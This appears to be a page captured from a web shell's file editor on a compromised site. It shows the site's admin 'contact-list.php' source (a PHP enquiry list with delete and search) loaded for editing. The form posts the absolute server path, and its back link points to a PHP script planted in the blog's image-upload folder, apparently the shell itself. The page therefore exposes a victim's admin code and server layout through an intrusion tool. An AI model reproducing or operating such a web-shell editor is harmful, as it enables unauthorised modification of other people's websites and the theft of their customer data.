<h2>Edit File - contact-list.php</h2><form method="POST" style="padding:20px">
                <input type="hidden" name="edit_file" value="/home/yulongproveg/public_html/admin/contact-list.php">
                <textarea name="file_content" style="width:100%; height:400px; font-family:monospace;">&lt;?php
session_start();
if (!isset($_SESSION[&#039;admin_logged_in&#039;]) || $_SESSION[&#039;admin_logged_in&#039;] !== true) {
    header(&quot;Location: login.php&quot;);
    exit;
}

include &quot;includes/db.php&quot;;

// Delete Contact
if (isset($_GET[&#039;delete&#039;])) {
    $delete_id = intval($_GET[&#039;delete&#039;]);
    if ($delete_id &gt; 0) {
        $stmt = $conn-&gt;prepare(&quot;DELETE FROM contact_form WHERE id=?&quot;);
        $stmt-&gt;bind_param(&quot;i&quot;, $delete_id);
        $stmt-&gt;execute();
    }
    header(&quot;Location: contact-list.php&quot;);
    exit;
}

// Search
$search = isset($_GET[&#039;search&#039;]) ? trim($_GET[&#039;search&#039;]) : &quot;&quot;;

// Pagination
$limit = 25;
$page = isset($_GET[&#039;page&#039;]) ? max(1, intval($_GET[&#039;page&#039;])) : 1;
$offset = ($page - 1) * $limit;

if ($search != &quot;&quot;) {
    $searchLike = &quot;%&quot; . $search . &quot;%&quot;;

    $countStmt = $conn-&gt;prepare(&quot;
        SELECT COUNT(*) as total
        FROM contact_form
        WHERE
            subject LIKE ?
            OR company LIKE ?
            OR name LIKE ?
            OR email LIKE ?
            OR mobile LIKE ?
    &quot;);
    $countStmt-&gt;bind_param(&quot;sssss&quot;, $searchLike, $searchLike, $searchLike, $searchLike, $searchLike);
    $countStmt-&gt;execute();
    $totalRecords = $countStmt-&gt;get_result()-&gt;fetch_assoc()[&#039;total&#039;];

    $stmt = $conn-&gt;prepare(&quot;
        SELECT *
        FROM contact_form
        WHERE
            subject LIKE ?
            OR company LIKE ?
            OR name LIKE ?
            OR email LIKE ?
            OR mobile LIKE ?
        ORDER BY id DESC
        LIMIT ?, ?
    &quot;);
    $stmt-&gt;bind_param(
        &quot;sssssii&quot;,
        $searchLike,
        $searchLike,
        $searchLike,
        $searchLike,
        $searchLike,
        $offset,
        $limit
    );
    $stmt-&gt;execute();
    $contacts = $stmt-&gt;get_result();
} else {

    $totalResult = $conn-&gt;query(&quot;SELECT COUNT(*) as total FROM contact_form&quot;);
    $totalRecords = $totalResult-&gt;fetch_assoc()[&#039;total&#039;];

    $contacts = $conn-&gt;query(&quot;
        SELECT *
        FROM contact_form
        ORDER BY id DESC
        LIMIT $offset, $limit
    &quot;);
}

$totalPages = ceil($totalRecords / $limit);
?&gt;

&lt;!DOCTYPE html&gt;
&lt;html lang=&quot;en&quot;&gt;
&lt;head&gt;
&lt;meta charset=&quot;UTF-8&quot;&gt;
&lt;title&gt;Manage Contact Enquiries&lt;/title&gt;

&lt;link rel=&quot;stylesheet&quot; href=&quot;https://cdn.jsdelivr.net/npm/bootstrap@5.3.0/dist/css/bootstrap.min.css&quot;&gt;

&lt;style&gt;
body{
    background:#f5f5f5;
}
.table td,.table th{
    vertical-align:middle;
}
.message-col{
    max-width:250px;
    white-space:nowrap;
    overflow:hidden;
    text-overflow:ellipsis;
}
.top-bar{
    display:flex;
    justify-content:space-between;
    align-items:center;
    margin-bottom:20px;
}
.badge-count{
    font-size:15px;
}
&lt;/style&gt;

&lt;/head&gt;
&lt;body&gt;

&lt;div class=&quot;container mt-5&quot;&gt;

    &lt;div class=&quot;top-bar&quot;&gt;
        &lt;div&gt;
            &lt;h2&gt;Manage Contact Enquiries&lt;/h2&gt;
            &lt;span class=&quot;badge bg-primary badge-count&quot;&gt;
                Total : &lt;?php echo $totalRecords; ?&gt;
            &lt;/span&gt;
        &lt;/div&gt;

        &lt;div&gt;
            &lt;a href=&quot;index.php&quot; class=&quot;btn btn-secondary&quot;&gt;Blog Dashboard&lt;/a&gt;
            &lt;a href=&quot;logout.php&quot; class=&quot;btn btn-danger&quot;&gt;Logout&lt;/a&gt;
        &lt;/div&gt;
    &lt;/div&gt;

    &lt;form method=&quot;GET&quot; class=&quot;row mb-3&quot;&gt;
        &lt;div class=&quot;col-md-5&quot;&gt;
            &lt;input type=&quot;text&quot;
                   name=&quot;search&quot;
                   class=&quot;form-control&quot;
                   placeholder=&quot;Search by Name, Company, Email, Mobile...&quot;
                   value=&quot;&lt;?php echo htmlspecialchars($search); ?&gt;&quot;&gt;
        &lt;/div&gt;

        &lt;div class=&quot;col-md-2&quot;&gt;
            &lt;button class=&quot;btn btn-primary w-100&quot;&gt;Search&lt;/button&gt;
        &lt;/div&gt;

        &lt;div class=&quot;col-md-2&quot;&gt;
            &lt;a href=&quot;contact-list.php&quot; class=&quot;btn btn-warning w-100&quot;&gt;Reset&lt;/a&gt;
        &lt;/div&gt;
    &lt;/form&gt;

    &lt;div class=&quot;table-responsive&quot;&gt;

        &lt;table class=&quot;table table-bordered table-striped table-hover bg-white&quot;&gt;
            &lt;thead class=&quot;table-dark&quot;&gt;
                &lt;tr&gt;
                    &lt;th width=&quot;60&quot;&gt;ID&lt;/th&gt;
                    &lt;th&gt;Date&lt;/th&gt;
                    &lt;th&gt;Name&lt;/th&gt;
                    &lt;th&gt;Company&lt;/th&gt;
                    &lt;th&gt;Email&lt;/th&gt;
                    &lt;th&gt;Mobile&lt;/th&gt;
                    &lt;th&gt;Country&lt;/th&gt;
                    &lt;th&gt;Products&lt;/th&gt;
                    &lt;th&gt;Message&lt;/th&gt;
                    &lt;th width=&quot;220&quot;&gt;Action&lt;/th&gt;
                &lt;/tr&gt;
            &lt;/thead&gt;

            &lt;tbody&gt;

            &lt;?php
            if ($contacts &amp;&amp; $contacts-&gt;num_rows &gt; 0) {
                while ($row = $contacts-&gt;fetch_assoc()) {
            ?&gt;

                &lt;tr&gt;
                    &lt;td&gt;&lt;?php echo $row[&#039;id&#039;]; ?&gt;&lt;/td&gt;

                    &lt;td&gt;
                        &lt;?php
                        echo date(
                            &quot;d-m-Y H:i&quot;,
                            strtotime($row[&#039;created_at&#039;])
                        );
                        ?&gt;
                    &lt;/td&gt;

                    &lt;td&gt;&lt;?php echo htmlspecialchars($row[&#039;name&#039;]); ?&gt;&lt;/td&gt;

                    &lt;td&gt;&lt;?php echo htmlspecialchars($row[&#039;company&#039;]); ?&gt;&lt;/td&gt;

                    &lt;td&gt;
                        &lt;a href=&quot;mailto:&lt;?php echo $row[&#039;email&#039;]; ?&gt;&quot;&gt;
                            &lt;?php echo htmlspecialchars($row[&#039;email&#039;]); ?&gt;
                        &lt;/a&gt;
                    &lt;/td&gt;

                    &lt;td&gt;
                        &lt;a href=&quot;tel:&lt;?php echo $row[&#039;mobile&#039;]; ?&gt;&quot;&gt;
                            &lt;?php echo htmlspecialchars($row[&#039;mobile&#039;]); ?&gt;
                        &lt;/a&gt;
                    &lt;/td&gt;

                    &lt;td&gt;&lt;?php echo htmlspecialchars($row[&#039;country&#039;]); ?&gt;&lt;/td&gt;

                    &lt;td class=&quot;message-col&quot;&gt;
                        &lt;?php echo htmlspecialchars($row[&#039;products&#039;]); ?&gt;
                    &lt;/td&gt;

                    &lt;td class=&quot;message-col&quot;&gt;
                        &lt;?php echo htmlspecialchars($row[&#039;message&#039;]); ?&gt;
                    &lt;/td&gt;

                    &lt;td&gt;
                        &lt;a href=&quot;contact-view.php?id=&lt;?php echo $row[&#039;id&#039;]; ?&gt;&quot;
                           class=&quot;btn btn-info btn-sm&quot;&gt;
                            View
                        &lt;/a&gt;

                        &lt;?php if(!empty($row[&#039;whatsapp&#039;])) { ?&gt;
                        &lt;a href=&quot;https://wa.me/&lt;?php echo preg_replace(&#039;/[^0-9]/&#039;, &#039;&#039;, $row[&#039;whatsapp&#039;]); ?&gt;&quot;
                           target=&quot;_blank&quot;
                           class=&quot;btn btn-success btn-sm&quot;&gt;
                            WhatsApp
                        &lt;/a&gt;
                        &lt;?php } ?&gt;

                        &lt;a href=&quot;?delete=&lt;?php echo $row[&#039;id&#039;]; ?&gt;&quot;
                           onclick=&quot;return confirm(&#039;Delete this enquiry?&#039;)&quot;
                           class=&quot;btn btn-danger btn-sm&quot;&gt;
                            Delete
                        &lt;/a&gt;
                    &lt;/td&gt;
                &lt;/tr&gt;

            &lt;?php
                }
            } else {
            ?&gt;
                &lt;tr&gt;
                    &lt;td colspan=&quot;10&quot; class=&quot;text-center&quot;&gt;
                        No contact enquiries found.
                    &lt;/td&gt;
                &lt;/tr&gt;
            &lt;?php } ?&gt;

            &lt;/tbody&gt;

        &lt;/table&gt;

    &lt;/div&gt;

    &lt;!-- Pagination --&gt;
    &lt;?php if($totalPages &gt; 1){ ?&gt;
    &lt;nav&gt;
        &lt;ul class=&quot;pagination justify-content-center&quot;&gt;

            &lt;?php for($i=1;$i&lt;=$totalPages;$i++){ ?&gt;

            &lt;li class=&quot;page-item &lt;?php echo ($page==$i)?&#039;active&#039;:&#039;&#039;; ?&gt;&quot;&gt;
                &lt;a class=&quot;page-link&quot;
                   href=&quot;?page=&lt;?php echo $i; ?&gt;&amp;search=&lt;?php echo urlencode($search); ?&gt;&quot;&gt;
                    &lt;?php echo $i; ?&gt;
                &lt;/a&gt;
            &lt;/li&gt;

            &lt;?php } ?&gt;

        &lt;/ul&gt;
    &lt;/nav&gt;
    &lt;?php } ?&gt;

&lt;/div&gt;

&lt;/body&gt;
&lt;/html&gt;</textarea><br><br>
                <button type="submit" class="btn">Save</button>
                <a href="/blog/images/1781637752_1754069486_sh2.php?dir=." class="btn gray">Kembali</a>
              </form>